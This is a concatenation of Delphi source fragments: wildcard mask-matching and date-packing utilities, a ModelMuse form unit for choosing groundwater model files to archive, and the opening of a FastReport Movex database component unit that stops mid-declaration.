begin if S[j] = #1 then S[j] := '"'; if S[j] = #2 then S[j] := ' '; end; ShortDelete(Mask,1,i); if AddWildCards then begin if ShortCopy(S, 1, 1) <> '*' then S := '*' + S; if ShortCopy(S, length(S), 1) <> '*' then S := S + '*'; end; if (length(S) > 0) then begin OneMask := New(POneMask, Init); OneMask^.MaskName := QNewStr(S); MaskCol^.Insert(OneMask); end; end; end; //----------------------------------------------------------------------------- function IsLetter(Ch: char): boolean; begin Result := (Ch >= 'A') and (Ch <= 'Z') or (Ch >= 'a') and (Ch <= 'z') or (Ch >= #128); end; //----------------------------------------------------------------------------- // Compares the text with a mask function MaskCompare(OneMask, S: ShortString; CaseSensitive: boolean; Strict: boolean): boolean; function PosQ(SubStr: ShortString; S: ShortString): Byte; var Offset: Integer; Found : boolean; i : Integer; begin Found := false; for Offset := 0 to Integer(length(S)) - length(SubStr) do begin Found := true; for i := 1 to length(SubStr) do if (SubStr[i] <> S[Offset + i]) and (SubStr[i] <> '?') then begin Found := false; break; end; if Found then break; end; if Found then PosQ := succ(Offset) else PosQ := 0; end; var AsterixAtBegin, AsterixAtEnd: boolean; SubMask: ShortString; i: Integer; AreQMark: boolean; begin MaskCompare := true; if not CaseSensitive then S := AnsiLowerCase(S); if S = OneMask then exit; if OneMask = '*' then exit; AreQMark := pos('?', OneMask) > 0; {to speed up} MaskCompare := false; if Strict and (pos('*', OneMask) = 0) then begin if not AreQMark then exit; MaskCompare := (S[0] = OneMask[0]) and (PosQ(OneMask, S) = 1); exit; end; AsterixAtBegin := false; AsterixAtEnd := false; if ShortCopy(OneMask, 1, 1) = '*' then begin AsterixAtBegin := true; ShortDelete(OneMask, 1, 1); end; if OneMask = '' then exit; if ShortCopy(OneMask, length(OneMask), 1) = '*' then begin AsterixAtEnd := true; ShortDelete(OneMask, length(OneMask), 1); end; if OneMask = '' then exit; while OneMask <> '' do begin i := pos('*', OneMask); if i > 0 then begin SubMask := ShortCopy(OneMask, 1, pred(i)); ShortDelete(OneMask, 1, i); end else begin SubMask := OneMask; OneMask := ''; end; if Submask = '' then exit; if AreQMark and (pos('?', SubMask) > 0) then i := PosQ (SubMask, S) else i := pos(SubMask, S); if i = 0 then exit; if not AsterixAtBegin and (i > 1) and (Strict or IsLetter(S[i-1])) then exit; AsterixAtBegin := true; ShortDelete(S, 1, i + length(SubMask) - 1); end; if not AsterixAtEnd and (S <> '') and (Strict or IsLetter(S[1])) then exit; MaskCompare := true; end; //----------------------------------------------------------------------------- // Compares block of data with a mask function MaskCompareBuf(OneMask: ShortString; Buf: PChar; CaseSensitive: boolean; AnsiCompare: boolean; OemCompare: boolean): longint; function PosQBuf(SubStr: ShortString; Buf: PChar): longint; var Offset: longint; Found : boolean; i : longint; begin Found := false; for Offset := 0 to longint(StrLen(Buf)) - length(SubStr) do begin Found := true; for i := 1 to length(SubStr) do begin if (SubStr[i] <> Buf[Offset + i - 1]) and (SubStr[i] <> '?') then begin Found := false; break; end; end; if Found then break; end; if Found then Result := Offset else Result := -1; end; // this function makes lowercase itself - the Buf must not be lowercased, // otherwise it will corrupt the OEM conversion function PosQBufEx(SubStr: ShortString; Buf: PChar; bOemCompare: boolean): longint; var Offset: longint; Found : boolean; i : longint; Ch : char; begin Found := false; for Offset := 0 to longint(StrLen(Buf)) - length(SubStr) do begin Found := true; for i := 1 to length(SubStr) do begin Ch := Buf[Offset + i - 1]; ///if bOemCompare then OemToCharBuff(@Ch, @Ch, 1); if not CaseSensitive then CharLowerBuff(@Ch, 1); if (SubStr[i] <> Ch) and (SubStr[i] <> '?') then begin Found := false; break; end; end; if Found then break; end; if Found then Result := Offset else Result := -1; end; var AsterixAtBegin, AsterixAtEnd: boolean; SubMask : ShortString; i : longint; TmpBuf : PChar; FirstPos: longint; SaveMask: ShortString; begin Result := 0; if OneMask = '*' then exit; Result := -1; AsterixAtBegin := false; AsterixAtEnd := false; if ShortCopy(OneMask, 1, 1) = '*' then begin AsterixAtBegin := true; ShortDelete(OneMask, 1, 1); end; if OneMask = '' then exit; if ShortCopy(OneMask, length(OneMask), 1) = '*' then begin AsterixAtEnd := true; ShortDelete(OneMask, length(OneMask), 1); end; if OneMask = '' then exit; if not OemCompare then // faster way begin if not CaseSensitive then AnsiLowerCase(Buf); TmpBuf := Buf; FirstPos := -1; while OneMask <> '' do begin i := pos('*', OneMask); if i > 0 then begin SubMask := ShortCopy(OneMask, 1, pred(i)); ShortDelete(OneMask, 1, i); end else begin SubMask := OneMask; OneMask := ''; end; if Submask = '' then exit; i := PosQBuf (SubMask, TmpBuf); if i = -1 then exit; if FirstPos = -1 then FirstPos := i; if not AsterixAtBegin and (i <> 0) and IsLetter(TmpBuf[pred(i)]) then exit; AsterixAtBegin := true; TmpBuf := @TmpBuf[i + length(SubMask)]; end; if not AsterixAtEnd and (StrLen(TmpBuf) <> 0) and IsLetter(TmpBuf[0]) then exit; Result := FirstPos; end else begin // here we do not lowercase the block, but use PosQBufEx which does // so for each character TmpBuf := Buf; FirstPos := -1; i := -1; SaveMask := OneMask; // First we should check the AnsiCompare if AnsiCompare then begin while OneMask <> '' do begin i := pos('*', OneMask); if i > 0 then begin SubMask := ShortCopy(OneMask, 1, pred(i)); ShortDelete(OneMask, 1, i); end else begin SubMask := OneMask; OneMask := ''; end; if Submask = '' then exit; i := PosQBufEx (SubMask, TmpBuf, false); if i = -1 then break; if FirstPos = -1 then FirstPos := i; if not AsterixAtBegin and (i <> 0) and IsLetter(TmpBuf[pred(i)]) then exit; AsterixAtBegin := true; TmpBuf := @TmpBuf[i + length(SubMask)]; end; if (i <> -1) then begin if AsterixAtEnd or (StrLen(TmpBuf) = 0) or not IsLetter(TmpBuf[0]) then Result := FirstPos; end; end; if Result = -1 then // still not found, try it in OEM begin OneMask := SaveMask; TmpBuf := Buf; FirstPos := -1; while OneMask <> '' do begin i := pos('*', OneMask); if i > 0 then begin SubMask := ShortCopy(OneMask, 1, pred(i)); ShortDelete(OneMask, 1, i); end else begin SubMask := OneMask; OneMask := ''; end; if Submask = '' then exit; i := PosQBufEx (SubMask, TmpBuf, true); if i = -1 then exit; if FirstPos = -1 then FirstPos := i; if not AsterixAtBegin and (i <> 0) and IsLetter(TmpBuf[pred(i)]) then exit; AsterixAtBegin := true; TmpBuf := @TmpBuf[i + length(SubMask)]; end; if not AsterixAtEnd and (StrLen(TmpBuf) <> 0) and IsLetter(TmpBuf[0]) then exit; Result := FirstPos; end; end; end; {$R-} {$Q-} //----------------------------------------------------------------------------- function ByteRandom: byte; begin ByteRandSeed := succ($8405 * ByteRandSeed); ByteRandom := byte(ByteRandSeed); end; //----------------------------------------------------------------------------- procedure UnpackTime(P: Longint; var T: TQDateTime); begin with T do begin Sec := (P and 31) * 2; P := P shr 5; Min := P and 63; P := P shr 6; Hour := P and 31; P := P shr 5; Day := P and 31; P := P shr 5; Month := P and 15; P := P shr 4; Year := P + 1980; end; end; //----------------------------------------------------------------------------- procedure PackTime(var T: TQDateTime; var P: Longint); begin with T do begin P := Year - 1980; P := P shl 4; P := P or Month; P := P shl 5; P := P or Day; P := P shl 5; P := P or Hour; P := P shl 6; P := P or Min; P := P shl 5; P := P or (Sec shr 1); end; end; //----------------------------------------------------------------------------- procedure AddToBuffer(CalcOnly: boolean; S: ShortString; var BufferPos: PChar; var TotalLength: longint); begin inc(TotalLength, length(S)); if not CalcOnly then begin Move(S[1], BufferPos^, length(S)); BufferPos := BufferPos + length(S); end; end; //---initialization------------------------------------------------------------ var KernelHandle: THandle; begin kBDivider := 1024; WinDateFormat := wd_dmy; { if (pos('d', ShortDateFormat) > pos('M', ShortDateFormat)) and (pos('y', ShortDateFormat) > pos('d', ShortDateFormat)) then WinDateFormat := wd_mdy; if (pos('d', ShortDateFormat) > pos('M', ShortDateFormat)) and (pos('M', ShortDateFormat) > pos('y', ShortDateFormat)) then WinDateFormat := wd_ymd; } SaveWinDateFormat := WinDateFormat; Randomize; ByteRandSeed := random(256); @GetDiskFreeSpaceEx := nil; {$ifdef mswindows} KernelHandle := GetModuleHandle(kernel32); if KernelHandle <> 0 then @GetDiskFreeSpaceEx := GetProcAddress(KernelHandle, 'GetDiskFreeSpaceExA'); {$endif} end.
unit frmFilesToArchiveUnit; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, frmCustomGoPhastUnit, StdCtrls, Buttons, ExtCtrls, JvExStdCtrls, UndoItems, StrUtils, JvExControls, JvLinkLabel, ComCtrls, JvRichEdit, Vcl.Menus, System.Generics.Collections; type TfrmFilesToArchive = class(TfrmCustomGoPhast) pnlBottom: TPanel; btnCancel: TBitBtn; btnOK: TBitBtn; btnHelp: TBitBtn; btnArchive: TButton; sdArchive: TSaveDialog; btnAddFiles: TButton; odAddFiles: TOpenDialog; JvLinkLabel1: TJvLinkLabel; btnArchiveList: TButton; dlgSaveArchiveList: TSaveDialog; tvArchive: TTreeView; pm1: TPopupMenu; mniAddFiles: TMenuItem; mniDelete: TMenuItem; procedure FormCreate(Sender: TObject); override; procedure FormDestroy(Sender: TObject); override; procedure btnOKClick(Sender: TObject); procedure btnArchiveClick(Sender: TObject); procedure JvLinkLabel1LinkClick(Sender: TObject; LinkNumber: Integer; LinkText, LinkParam: string); procedure btnArchiveListClick(Sender: TObject); procedure tvArchiveCustomDrawItem(Sender: TCustomTreeView; Node: TTreeNode; State: TCustomDrawState; var DefaultDraw: Boolean); procedure tvArchiveDragDrop(Sender, Source: TObject; X, Y: Integer); procedure tvArchiveDragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); procedure mniAddFilesClick(Sender: TObject); procedure mniDeleteClick(Sender: TObject); private // FFilesToArchive: TStringList; FBinaryFileNode: TTreeNode; FAncillaryNode: TTreeNode; FModelInputFilesNode: TTreeNode; FModelOutputFiles: TTreeNode; FModpathInputFiles: TTreeNode; FModpathOutputFiles: TTreeNode; FZonebudgetInputFiles: TTreeNode; FZonebudgetOutputFiles: TTreeNode; FMt3dmsInputFiles: TTreeNode; FMt3dmsOutputFiles: TTreeNode; FRootNodes: TList<TTreeNode>; procedure GetData; procedure SetData; procedure AddFilesToTree(FileNames: TStrings; Classification: string; var ANode: TTreeNode); procedure EnableCreateArchive; { Private declarations } public { Public declarations } end; TFileLists = class(TObject) private FAuxilliaryFiles: TStringList; FModelInputFiles: TStringList; FModelOutputFiles: TStringList; FModpathInputFiles: TStringList; FModpathOutputFiles: TStringList; FZonebudgetInputFiles: TStringList; FZonebudgetOutputFiles: TStringList; FMt3dmsInputFiles: TStringList; FMt3dmsOutputFiles: TStringList; function SameContents(Strings1, Strings2: TStrings): boolean; public constructor Create; destructor Destroy; override; function IsSame(OtherFiles: TFileLists): Boolean; end; TUndoFilesToArchive = class(TCustomUndo) private FOriginalFiles: TFileLists; FNewFiles: TFileLists; procedure AssignFilesToModel(Files: TFileLists); protected function Description: string; override; public constructor Create(var NewFiles: TFileLists); destructor Destroy; override; // @name does the command for the first time. procedure DoCommand; override; // @name undoes the command. procedure Undo; override; function Changed: boolean; end; implementation uses frmGoPhastUnit, JvLinkLabelTools, AbExcept, System.IOUtils, System.Contnrs, PhastModelUnit, ArchiveNodeInterface, ModelMuseUtilities; resourcestring StrChangedFilesToArc = 'changed files to archive'; StrModelMuseCanOnlyC = 'ModelMuse can only create archives in the zip form' + 'at.'; {$R *.dfm} procedure TfrmFilesToArchive.btnArchiveClick(Sender: TObject); begin inherited; sdArchive.FileName := frmGoPhast.PhastModel.ArchiveName; if sdArchive.Execute then begin try frmGoPhast.PhastModel.CreateArchive(sdArchive.FileName); except on E: EAbException do begin Beep; MessageDlg(E.message, mtError, [mbOK], 0); end; end; end; end; procedure TfrmFilesToArchive.btnArchiveListClick(Sender: TObject); var ArchiveName: string; begin inherited; if frmGoPhast.PhastModel.ModelFileName = '' then begin ArchiveName := GetCurrentDir + '\Archive.axml' end else begin ArchiveName := ChangeFileExt(frmGoPhast.PhastModel.ModelFileName, '.axml'); end; dlgSaveArchiveList.FileName := ArchiveName; if dlgSaveArchiveList.Execute then begin frmGoPhast.PhastModel.SaveArchiveList(dlgSaveArchiveList.FileName); end; end; procedure TfrmFilesToArchive.btnOKClick(Sender: TObject); begin inherited; SetData; end; procedure TfrmFilesToArchive.EnableCreateArchive; var index: Integer; ButtonEnabled: Boolean; begin ButtonEnabled := False; for index := 0 to FRootNodes.Count - 1 do begin ButtonEnabled := FRootNodes[index]. HasChildren; if ButtonEnabled then begin break; end; end; btnArchive.Enabled := ButtonEnabled; end; procedure TfrmFilesToArchive.FormCreate(Sender: TObject); begin inherited; FRootNodes := TList<TTreeNode>.Create; // FFilesToArchive := TStringList.Create; GetData; EnableCreateArchive; // btnArchive.Enabled := FFilesToArchive.Count > 0; end; procedure TfrmFilesToArchive.FormDestroy(Sender: TObject); begin inherited; // FFilesToArchive.Free; FRootNodes.Free; end; procedure TfrmFilesToArchive.GetData; var InputFiles: TStringList; ProgramFiles: TStringList; ChildIndex: Integer; AChildModel: TChildModel; ProgramIndex: Integer; PosIndex: Integer; begin // FFilesToArchive.Clear; // FFilesToArchive.Duplicates := dupIgnore; // FFilesToArchive.Sorted := True; // if frmGoPhast.PhastModel.ModelFileName <> '' then // begin // FFilesToArchive.Add(frmGoPhast.PhastModel.ModelFileName); // end; // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.FilesToArchive); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.ModelInputFiles); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.ModelOutputFiles); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.ModpathInputFiles); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.ModpathOutputFiles); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.ZonebudgetInputFiles); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.ZonebudgetOutputFiles); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.Mt3dmsInputFiles); // FFilesToArchive.AddStrings(frmGoPhast.PhastModel.Mt3dmsOutputFiles); // reFilesToSave.Lines := FFilesToArchive; InputFiles := TStringList.Create; ProgramFiles := TStringList.Create; try InputFiles.Duplicates := dupIgnore; InputFiles.Sorted := True; InputFiles.AddStrings(frmGoPhast.PhastModel.FilesToArchive); for ChildIndex := 0 to frmGoPhast.PhastModel.ChildModels.Count - 1 do begin AChildModel := frmGoPhast.PhastModel.ChildModels[ChildIndex].ChildModel; InputFiles.AddStrings(AChildModel.FilesToArchive); end; AddFilesToTree(InputFiles, StrAncillary, FAncillaryNode); ProgramFiles.Duplicates := dupIgnore; ProgramFiles.Sorted := True; frmGoPhast.PhastModel.AddModelProgramsToList(ProgramFiles); InputFiles.AddStrings(frmGoPhast.PhastModel.ModelInputFiles); for ChildIndex := 0 to frmGoPhast.PhastModel.ChildModels.Count - 1 do begin AChildModel := frmGoPhast.PhastModel.ChildModels[ChildIndex].ChildModel; InputFiles.AddStrings(AChildModel.ModelInputFiles); end; frmGoPhast.PhastModel.AddModelProgramsToList(ProgramFiles); for ProgramIndex := 0 to ProgramFiles.Count - 1 do begin PosIndex := InputFiles.IndexOf(ProgramFiles[ProgramIndex]); if PosIndex >= 0 then begin InputFiles.Delete(PosIndex); end; end; AddFilesToTree(ProgramFiles, StrBinary, FBinaryFileNode); AddFilesToTree(InputFiles, StrModelInputFiles, FModelInputFilesNode); finally InputFiles.Free; ProgramFiles.Free; end; // AddFilesToTree(frmGoPhast.PhastModel.ModelInputFiles, 'Model Input Files', // FModelInputFilesNode); AddFilesToTree(frmGoPhast.PhastModel.ModelOutputFiles, StrModelOutputFiles, FModelOutputFiles); AddFilesToTree(frmGoPhast.PhastModel.ModpathInputFiles, 'Modpath Input Files', FModpathInputFiles); AddFilesToTree(frmGoPhast.PhastModel.ModpathOutputFiles, 'Modpath Output Files', FModpathOutputFiles); AddFilesToTree(frmGoPhast.PhastModel.ZonebudgetInputFiles, 'Zonebudget Input Files', FZonebudgetInputFiles); AddFilesToTree(frmGoPhast.PhastModel.ZonebudgetOutputFiles, 'Zonebudget Output Files', FZonebudgetOutputFiles); AddFilesToTree(frmGoPhast.PhastModel.Mt3dmsInputFiles, 'MT3DMS Input Files', FMt3dmsInputFiles); AddFilesToTree(frmGoPhast.PhastModel.Mt3dmsOutputFiles, 'MT3DMS Output Files', FMt3dmsOutputFiles); end; procedure TfrmFilesToArchive.JvLinkLabel1LinkClick(Sender: TObject; LinkNumber: Integer; LinkText, LinkParam: string); begin inherited; // TWebTools.OpenWebPage('http://water.usgs.gov/admin/memo/GW/gw11.01.html'); TWebTools.OpenWebPage('http://water.usgs.gov/admin/memo/GW/gw2015.02.pdf'); end; procedure TfrmFilesToArchive.mniAddFilesClick(Sender: TObject); var RootNode: TTreeNode; FileName: string; FileIndex: Integer; begin inherited; if odAddFiles.Execute then begin RootNode := tvArchive.Selected; if RootNode = nil then begin RootNode := FAncillaryNode; end; if FRootNodes.IndexOf(RootNode) < 0 then begin RootNode := RootNode.Parent; end; for FileIndex := 0 to odAddFiles.Files.Count - 1 do begin FileName := odAddFiles.Files[FileIndex]; tvArchive.Items.AddChild(RootNode, FileName) end; end; end; procedure TfrmFilesToArchive.mniDeleteClick(Sender: TObject); var ANode: TTreeNode; NextNode: TTreeNode; NodesToDelete: TObjectList; begin inherited; NodesToDelete := TObjectList.Create; try ANode := tvArchive.Items.GetFirstNode; while ANode <> nil do begin NextNode := ANode.GetNext; if ANode.Selected and (FRootNodes.IndexOf(ANode) < 0) then begin NodesToDelete.Add(ANode); end; ANode := NextNode end; finally NodesToDelete.Free; end; EnableCreateArchive; end; procedure TfrmFilesToArchive.AddFilesToTree(FileNames: TStrings; Classification: string; var ANode: TTreeNode); var index: Integer; begin ANode := tvArchive.Items.Add(nil, Classification); FRootNodes.Add(ANode); for index := 0 to FileNames.Count - 1 do begin tvArchive.Items.AddChild(ANode, FileNames[index]); end; end; procedure TfrmFilesToArchive.SetData; var NewFiles: TFileLists; Undo2: TUndoFilesToArchive; procedure AddNodeTextToStrings(RootNode: TTreeNode; FileNames: TStringList); var ANode: TTreeNode; begin ANode := RootNode.getFirstChild; FileNames.Sorted := True; while ANode <> nil do begin if FileNames.IndexOf(ANode.Text) < 0 then begin FileNames.Add(ANode.Text); end; ANode := ANode.getNextSibling; end; end; begin NewFiles := TFileLists.Create; try AddNodeTextToStrings(FAncillaryNode, NewFiles.FAuxilliaryFiles); AddNodeTextToStrings(FModelInputFilesNode, NewFiles.FModelInputFiles); AddNodeTextToStrings(FBinaryFileNode, NewFiles.FModelInputFiles); AddNodeTextToStrings(FModelOutputFiles, NewFiles.FModelOutputFiles); AddNodeTextToStrings(FModpathInputFiles, NewFiles.FModpathInputFiles); AddNodeTextToStrings(FModpathOutputFiles, NewFiles.FModpathOutputFiles); AddNodeTextToStrings(FZonebudgetInputFiles, NewFiles.FZonebudgetInputFiles); AddNodeTextToStrings(FZonebudgetOutputFiles, NewFiles.FZonebudgetOutputFiles); AddNodeTextToStrings(FMt3dmsInputFiles, NewFiles.FMt3dmsInputFiles); AddNodeTextToStrings(FMt3dmsOutputFiles, NewFiles.FMt3dmsOutputFiles); Undo2 := TUndoFilesToArchive.Create(NewFiles); try if Undo2.Changed then begin frmGoPhast.UndoStack.Submit(Undo2) end else begin Undo2.Free; end; except Undo2.free; // raise; end; finally NewFiles.Free; end; end; procedure TfrmFilesToArchive.tvArchiveCustomDrawItem(Sender: TCustomTreeView; Node: TTreeNode; State: TCustomDrawState; var DefaultDraw: Boolean); var FileName: string; begin inherited; if FRootNodes.IndexOf(Node) < 0 then begin FileName := Node.Text; if not TPath.DriveExists(FileName) then begin tvArchive.Canvas.Brush.Color := clRed; end else if not TFile.Exists(FileName) then begin tvArchive.Canvas.Brush.Color := clRed; end; end; end; procedure TfrmFilesToArchive.tvArchiveDragDrop(Sender, Source: TObject; X, Y: Integer); var Dst: TTreeNode; ANode: TTreeNode; NodesToMove: TList<TTreeNode>; NodeIndex: Integer; begin // Src := tvArchive.Selected; Dst := tvArchive.GetNodeAt(X,Y); if FRootNodes.IndexOf(Dst) < 0 then begin Dst := Dst.Parent end; NodesToMove := TList<TTreeNode>.Create; try ANode := tvArchive.Items.GetFirstNode; while ANode <> nil do begin if ANode.Selected and (Self.FRootNodes.IndexOf(ANode) < 0) and (ANode.Parent <> Dst) then begin NodesToMove.Add(ANode); end; ANode := ANode.GetNext; end; for NodeIndex := 0 to NodesToMove.Count - 1 do begin NodesToMove[NodeIndex].MoveTo(Dst, naAddChild); end; finally NodesToMove.Free; end; // Src.MoveTo(Dst, naAddChild); end; procedure TfrmFilesToArchive.tvArchiveDragOver(Sender, Source: TObject; X, Y: Integer; State: TDragState; var Accept: Boolean); var Src, Dst: TTreeNode; begin Src := tvArchive.Selected; Dst := tvArchive.GetNodeAt(X,Y); Accept := (Sender = Source) and Assigned(Dst) and (Src<>Dst) and (FRootNodes.IndexOf(Src) < 0); end; { TFileLists } constructor TFileLists.Create; begin FAuxilliaryFiles := TStringList.Create; FModelInputFiles := TStringList.Create; FModelOutputFiles := TStringList.Create; FModpathInputFiles := TStringList.Create; FModpathOutputFiles := TStringList.Create; FZonebudgetInputFiles := TStringList.Create; FZonebudgetOutputFiles := TStringList.Create; FMt3dmsInputFiles := TStringList.Create; FMt3dmsOutputFiles := TStringList.Create; end; destructor TFileLists.Destroy; begin FAuxilliaryFiles.Free; FModelInputFiles.Free; FModelOutputFiles.Free; FModpathInputFiles.Free; FModpathOutputFiles.Free; FZonebudgetInputFiles.Free; FZonebudgetOutputFiles.Free; FMt3dmsInputFiles.Free; FMt3dmsOutputFiles.Free; inherited; end; function TFileLists.IsSame(OtherFiles: TFileLists): Boolean; begin result := SameContents(FAuxilliaryFiles, OtherFiles.FAuxilliaryFiles) and SameContents(FModelInputFiles, OtherFiles.FModelInputFiles) and SameContents(FModelOutputFiles, OtherFiles.FModelOutputFiles) and SameContents(FModpathInputFiles, OtherFiles.FModpathInputFiles) and SameContents(FModpathOutputFiles, OtherFiles.FModpathOutputFiles) and SameContents(FZonebudgetInputFiles, OtherFiles.FZonebudgetInputFiles) and SameContents(FZonebudgetOutputFiles, OtherFiles.FZonebudgetOutputFiles) and SameContents(FMt3dmsInputFiles, OtherFiles.FMt3dmsInputFiles) and SameContents(FMt3dmsOutputFiles, OtherFiles.FMt3dmsOutputFiles) end; function TFileLists.SameContents(Strings1, Strings2: TStrings): boolean; var index: Integer; begin result := Strings1.Count = Strings2.Count; if result then begin for index := 0 to Strings1.Count - 1 do begin result := Strings1[index] = Strings2[index]; if not Result then begin Exit; end; end; end; end; { TNewUndoFilesToArchive } procedure TUndoFilesToArchive.AssignFilesToModel(Files: TFileLists); var ChildIndex: Integer; AChildModel: TChildModel; begin frmGoPhast.PhastModel.FilesToArchive := Files.FAuxilliaryFiles; frmGoPhast.PhastModel.ModelInputFiles := Files.FModelInputFiles; frmGoPhast.PhastModel.ModelOutputFiles := Files.FModelOutputFiles; frmGoPhast.PhastModel.ModpathInputFiles := Files.FModpathInputFiles; frmGoPhast.PhastModel.ModpathOutputFiles := Files.FModpathOutputFiles; frmGoPhast.PhastModel.ZonebudgetInputFiles := Files.FZonebudgetInputFiles; frmGoPhast.PhastModel.ZonebudgetOutputFiles := Files.FZonebudgetOutputFiles; frmGoPhast.PhastModel.Mt3dmsInputFiles := Files.FMt3dmsInputFiles; frmGoPhast.PhastModel.Mt3dmsOutputFiles := Files.FMt3dmsOutputFiles; for ChildIndex := 0 to frmGoPhast.PhastModel.ChildModels.Count - 1 do begin AChildModel := frmGoPhast.PhastModel.ChildModels[ChildIndex].ChildModel; AChildModel.FilesToArchive.Clear; AChildModel.ModelInputFiles.Clear; AChildModel.ModelOutputFiles.Clear; AChildModel.ModpathInputFiles.Clear; AChildModel.ModpathOutputFiles.Clear; AChildModel.ZonebudgetInputFiles.Clear; AChildModel.ZonebudgetOutputFiles.Clear; AChildModel.Mt3dmsInputFiles.Clear; AChildModel.Mt3dmsOutputFiles.Clear; end; end; function TUndoFilesToArchive.Changed: boolean; begin Result := not FOriginalFiles.IsSame(FNewFiles); end; constructor TUndoFilesToArchive.Create(var NewFiles: TFileLists); var ChildIndex: Integer; AChildModel: TChildModel; begin FOriginalFiles := TFileLists.Create; FOriginalFiles.FAuxilliaryFiles.AddStrings(frmGoPhast.PhastModel.FilesToArchive); FOriginalFiles.FModelInputFiles.AddStrings(frmGoPhast.PhastModel.ModelInputFiles); FOriginalFiles.FModelOutputFiles.AddStrings(frmGoPhast.PhastModel.ModelOutputFiles); FOriginalFiles.FModpathInputFiles.AddStrings(frmGoPhast.PhastModel.ModpathInputFiles); FOriginalFiles.FModpathOutputFiles.AddStrings(frmGoPhast.PhastModel.ModpathOutputFiles); FOriginalFiles.FZonebudgetInputFiles.AddStrings(frmGoPhast.PhastModel.ZonebudgetInputFiles); FOriginalFiles.FZonebudgetOutputFiles.AddStrings(frmGoPhast.PhastModel.ZonebudgetOutputFiles); FOriginalFiles.FMt3dmsInputFiles.AddStrings(frmGoPhast.PhastModel.Mt3dmsInputFiles); FOriginalFiles.FMt3dmsOutputFiles.AddStrings(frmGoPhast.PhastModel.Mt3dmsOutputFiles); for ChildIndex := 0 to frmGoPhast.PhastModel.ChildModels.Count - 1 do begin AChildModel := frmGoPhast.PhastModel.ChildModels[ChildIndex].ChildModel; FOriginalFiles.FAuxilliaryFiles.AddStrings(AChildModel.FilesToArchive); FOriginalFiles.FModelInputFiles.AddStrings(AChildModel.ModelInputFiles); FOriginalFiles.FModelOutputFiles.AddStrings(AChildModel.ModelOutputFiles); FOriginalFiles.FModpathInputFiles.AddStrings(AChildModel.ModpathInputFiles); FOriginalFiles.FModpathOutputFiles.AddStrings(AChildModel.ModpathOutputFiles); FOriginalFiles.FZonebudgetInputFiles.AddStrings(AChildModel.ZonebudgetInputFiles); FOriginalFiles.FZonebudgetOutputFiles.AddStrings(AChildModel.ZonebudgetOutputFiles); FOriginalFiles.FMt3dmsInputFiles.AddStrings(AChildModel.Mt3dmsInputFiles); FOriginalFiles.FMt3dmsOutputFiles.AddStrings(AChildModel.Mt3dmsOutputFiles); end; FNewFiles := NewFiles; NewFiles := nil; end; function TUndoFilesToArchive.Description: string; begin result := StrChangedFilesToArc; end; destructor TUndoFilesToArchive.Destroy; begin FOriginalFiles.Free; FNewFiles.Free; inherited; end; procedure TUndoFilesToArchive.DoCommand; begin inherited; AssignFilesToModel(FNewFiles); end; procedure TUndoFilesToArchive.Undo; begin inherited; AssignFilesToModel(FOriginalFiles); end; end.
{******************************************************************************} {* frxMvxComponents.pas *} {* This module is part of Internal Project but is released under *} {* the MIT License: http://www.opensource.org/licenses/mit-license.php *} {* Copyright (c) 2006 by Jaimy Azle *} {* All rights reserved. *} {******************************************************************************} {* Desc: *} {******************************************************************************} unit frxMvxComponents; interface {$I frx.inc} uses Windows, Classes, Graphics, SysUtils, frxClass, frxCustomDB, DB, MvxCon {$IFDEF Delphi6} , Variants {$ENDIF} ; const CLASS_TfrxMvxConnection: TGUID = '{1653377E-2FF7-4D1C-BB48-8B94FE8713AF}'; CLASS_TfrxMvxDataset: TGUID = '{7E494C94-94EB-400E-AB3F-11A124B21DAF}'; type TfrxMvxDataset = class; TfrxMvxComponents = class(TfrxDBComponents) private FDefaultDatabase: TMvxConnection; FOldComponents: TfrxMvxComponents; public constructor Create(AOwner: TComponent); override; destructor Destroy; override; function GetDescription: String; override; published property DefaultDatabase: TMvxConnection read FDefaultDatabase write FDefaultDatabase; end; TfrxMvxParamItem = class(TCollectionItem) private FDataType: TFieldType; FExpression: String; FName: String; FValue: Variant; public procedure Assign(Source: TPersistent); override; property Value: Variant read FValue write FValue; published property Name: String read FName write FName; property DataType: TFieldType read FDataType write FDataType; property Expression: String read FExpression write FExpression; end; TfrxMvxParams = class(TCollection) private function GetParam(Index: Integer): TfrxMvxParamItem; public constructor Create; function Add: TfrxMvxParamItem; function Find(const Name: String): TfrxMvxParamItem; function IndexOf(const Name: String): Integer; procedure UpdateParams(ADataset: TMvxDataset); property Items[Index: Integer]: TfrxMvxParamItem read GetParam; default; end; TfrxMvxDatabase = class(TfrxCustomDatabase) private FDatabase: TMvxConnection; protected procedure SetConnected(Value: Boolean); override; procedure SetDatabaseName(const Value: String); override; procedure SetLoginPrompt(Value: Boolean); override; function GetConnected: Boolean; override; function GetDatabaseName: String; override; function GetLoginPrompt: Boolean; override; public constructor Create(AOwner: TComponent); override; class function GetDescription: String; override; procedure SetLogin(const Login, Password: String); override; property Database: TMvxConnection read FDatabase; published property DatabaseName; property LoginPrompt; property Connected; end; TfrxMvxDataset = class(TfrxCustomDataset) private FDatabase: TfrxMvxDatabase; FMvxDataset: TMvxDataset; FSaveOnBeforeOpen: TDataSetNotifyEvent; FParams: TfrxMvxParams; procedure SetDatabase(Value: TfrxMvxDatabase); procedure SetParams(const Value: TfrxMvxParams); procedure ReadData(Reader: TReader); procedure WriteData(Writer: TWriter); protected procedure DefineProperties(Filer: TFiler); override; procedure Notification(AComponent: TComponent; Operation: TOperation); override; function GetMIProgram: String; procedure SetMIProgram(const Value: String); function GetMICommand: String; procedure SetMICommand(const Value: String); procedure OnPrepare(Sender: TObject); procedure OnBeforeOpen(DataSet: TDataSet); virtual; property Filter; property Filtered; property Master; public constructor Create(AOwner: TComponent); override; constructor DesignCreate(AOwner: TComponent; Flags: Word); override; destructor Destroy; override; class function GetDescription: String; override; procedure BeforeStartReport; override; procedure GetFieldList(List: TStrings); override; procedure UpdateParams; virtual; function ParamByName(const Value: String): TfrxMvxParamItem; property MvxDataset: TMvxDataset read FMvxDataset; published property Database: TfrxMvxDatabase read FDatabase write SetDatabase; property MIProgram: String read GetMIProgram write SetMIProgram; property MICommand: String read 